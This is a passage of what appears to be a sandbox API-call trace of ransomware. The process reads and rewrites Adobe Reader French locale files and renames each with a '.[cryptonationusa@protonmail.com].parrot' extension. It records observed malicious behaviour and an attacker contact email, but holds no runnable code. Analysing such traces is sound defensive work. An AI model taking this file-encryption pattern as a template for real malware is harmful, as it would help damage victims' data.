10.0\\Reader\\Locale\\fr_FR\\pddom.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\pddom.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0255.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.779] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.832] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x88000, lpOverlapped=0x0) returned 1 [0255.880] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.908] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0255.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.949] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.950] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.951] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0256.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.013] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0256.017] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.017] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0256.020] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15ef18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0256.020] CloseHandle (hObject=0x288) returned 1 [0256.020] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0256.038] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.038] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.039] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.040] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0256.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.042] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.046] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.049] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.050] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.050] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0256.051] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.052] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\reflow.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\reflow.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0256.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0256.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.057] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.059] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.059] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4e00, lpOverlapped=0x0) returned 1 [0256.060] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.060] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.065] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.066] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.116] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.116] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6200, lpOverlapped=0x0) returned 1 [0256.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.118] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0256.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.124] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.124] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.126] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4200, lpOverlapped=0x0) returned 1 [0256.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.127] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.132] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0256.132] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0256.132] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.132] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0256.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0256.132] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0256.133] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.133] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0256.134] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.134] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9850, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9850, lpOverlapped=0x0) returned 1 [0256.155] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.156] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0256.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0256.164] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.164] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0256.165] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.165] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe6, lpOverlapped=0x0) returned 1 [0256.165] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.166] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0256.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0256.171] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0256.171] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24b2e4c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x24b2e4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.171] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x24b08360, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0256.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.171] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.232] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.232] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0256.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.234] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Spelling.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\spelling.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.243] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.243] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.244] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.244] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0256.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.245] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.251] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.251] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.253] ReadFile (in: hFile=0x288, 